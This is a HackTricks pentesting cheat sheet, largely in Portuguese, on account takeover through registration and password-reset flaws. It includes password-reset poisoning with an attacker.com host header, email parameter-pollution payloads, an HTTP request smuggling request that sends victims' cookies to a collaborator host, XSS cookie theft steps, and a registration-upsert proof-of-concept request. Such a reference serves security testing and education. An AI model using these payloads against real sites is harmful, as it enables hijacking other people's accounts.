Registration & Takeover Vulnerabilities
Reading time: 8 minutes
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: 
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure: 
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
 - Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
 - Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
 
Registration Takeover
Registro Duplicado
- Tente criar usando um nome de usuário já existente
 - Teste variando o email:
 - maiúsculas
 - +1@
 - adicione algum ponto no email
 - caracteres especiais no nome do email (%00, %09, %20)
 - Coloque caracteres em branco após o email: 
test@test.com a - victim@gmail.com@attacker.com
 - victim@attacker.com@gmail.com
 
Enumeração de nomes de usuário
Verifique se é possível identificar quando um nome de usuário já foi registrado na aplicação.
Política de Senhas
Ao criar um usuário, verifique a política de senhas (confira se é possível usar senhas fracas).
Nesse caso você pode tentar bruteforce nas credenciais.
SQL Injection
Check this page para aprender como tentar account takeovers ou extrair informações via SQL Injections em formulários de registro.
Oauth Takeovers
SAML Vulnerabilities
Alterar Email
Ao se registrar, tente alterar o email e verifique se essa mudança é corretamente validada ou se é possível alterá-lo para emails arbitrários.
Mais Verificações
- Verifique se é possível usar disposable emails
 - Senha longa (>200) leva a DoS
 - Verifique rate limits na criação de contas
 - Use username@burp_collab.net e analise o callback
 
Password Reset Takeover
Password Reset Token Leak Via Referrer
- Solicite a password reset para seu endereço de email
 - Clique no link de password reset
 - Não altere a senha
 - Clique em qualquer site de terceiros (eg: Facebook, twitter)
 - Intercepte a requisição no proxy do Burp Suite
 - Verifique se o header referer está leaking password reset token.
 
Password Reset Poisoning
- Intercepte a requisição de password reset no Burp Suite
 - Adicione ou edite os seguintes headers no Burp Suite : 
Host: attacker.com,X-Forwarded-Host: attacker.com - Encaminhe a requisição com o header modificado
http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com - Procure por uma password reset URL baseada no host header como : 
https://attacker.com/reset-password.php?token=TOKEN 
Password Reset Via Email Parameter
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}
# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
IDOR em Parâmetros da API
- O atacante precisa fazer login com sua conta e ir para a feature Alterar senha.
 - Inicie o Burp Suite e intercepte a requisição
 - Envie para a aba Repeater e edite os parâmetros: User ID/email
powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"}) 
Token fraco de redefinição de senha
O password reset token deve ser gerado aleatoriamente e único a cada vez.
Tente determinar se o token expira ou se é sempre o mesmo; em alguns casos o algoritmo de geração é fraco e pode ser adivinhado. As seguintes variáveis podem ser usadas pelo algoritmo.
- Timestamp (carimbo de data/hora)
 - UserID
 - Email do usuário
 - Primeiro e último nome
 - Data de nascimento
 - Criptografia
 - Apenas números
 - Pequena sequência de token ( caracteres entre [A-Z,a-z,0-9])
 - Reuso de token
 - Data de expiração do token
 
Leaking Password Reset Token
- Dispare uma solicitação de password reset usando a API/UI para um email específico, ex: test@mail.com
 - Inspecione a resposta do servidor e verifique o 
resetToken - Então use o token em uma URL como 
https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL] 
Redefinição de senha via colisão de nome de usuário
- Registre-se no sistema com um username idêntico ao da vítima, mas com espaços em branco inseridos antes e/ou depois do nome de usuário. ex: 
"admin " - Solicite uma redefinição de senha com seu username malicioso.
 - Use o token enviado ao seu email e redefina a senha da vítima.
 - Acesse a conta da vítima com a nova senha.
 
A plataforma CTFd foi vulnerável a este ataque.
Veja: CVE-2020-7245
Tomada de conta via Cross Site Scripting
- Encontre um XSS dentro da aplicação ou um subdomínio se os cookies estiverem com scope para o domínio pai : 
*.domain.com - Leak o cookie de sessão atual (sessions cookie)
 - Autentique-se como o usuário usando o cookie
 
Tomada de conta via HTTP Request Smuggling
1. Use smuggler para detectar o tipo de HTTP Request Smuggling (CL, TE, CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
2. Monte uma requisição que irá sobrescrever o POST / HTTP/1.1 com os seguintes dados:
GET http://something.burpcollaborator.net HTTP/1.1 X: com o objetivo de abrir um redirect das vítimas para burpcollab e roubar seus cookies
3. A requisição final pode ser parecida com o seguinte
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET http://something.burpcollaborator.net  HTTP/1.1
X: X
Relatórios do Hackerone sobre a exploração deste bug
* https://hackerone.com/reports/737140
* https://hackerone.com/reports/771666
Tomada de conta via CSRF
- Crie um payload para o CSRF, por exemplo: “HTML form with auto submit for a password change”
 - Envie o payload
 
Tomada de conta via JWT
JSON Web Token might be used to authenticate an user.
- Edit the JWT with another User ID / Email
 - Check for weak JWT signature
 
JWT Vulnerabilities (Json Web Tokens)
Registration-as-Reset (Upsert on Existing Email)
Alguns signup handlers executam um upsert quando o email fornecido já existe. Se o endpoint aceita um corpo mínimo com um email e senha e não impõe verificação de propriedade, enviar o email da vítima sobrescreverá a senha dela pre-auth.
- Descoberta: harvest endpoint names from bundled JS (or mobile app traffic), then fuzz base paths like /parents/application/v4/admin/FUZZ using ffuf/dirsearch.
 - Dicas de método: a GET returning messages like "Only POST request is allowed." often indicates the correct verb and that a JSON body is expected.
 - Corpo mínimo observado em aplicações reais:
 
{"email":"victim@example.com","password":"New@12345"}
Exemplo de PoC:
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json
{"email":"victim@example.com","password":"New@12345"}
Impacto: Full Account Takeover (ATO) sem qualquer reset token, OTP ou verificação de email.
Referências
- How I Found a Critical Password Reset Bug (Registration upsert ATO)
 - https://salmonsec.com/cheatsheet/account_takeover
 
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: 
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure: 
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
 - Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
 - Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
 
HackTricks